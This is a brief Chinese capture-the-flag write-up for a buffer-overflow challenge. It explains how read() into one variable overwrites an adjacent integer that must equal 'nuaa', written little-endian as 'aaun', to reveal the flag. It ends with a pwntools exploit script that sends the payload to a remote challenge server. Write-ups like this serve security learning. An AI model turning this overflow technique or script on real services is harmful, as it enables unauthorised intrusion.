先使用file查看
checksec
IDA F5
这里第一行的alarm()函数的作用,请参考该文章,这位博主写的很详细
再来看下read()函数第2个参数 unk_601068
发现和 dword_60106C是相邻的
再来看下if语句里的
所以,逻辑出来了,通过read()函数覆盖dword_60106C的值,使其等于 'nuaa',即可获得flag
注意:这里是小端,要写成'aaun'
Exp
from pwn import*
p=remote('111.200.241.244',58893)
#p=process("./4f2f44c9471d4dc2b59768779e378282")
payload='a'*4+'aaun'
p.recvuntil("lets get helloworld for bof\n")
p.sendline(payload)
p.interactive()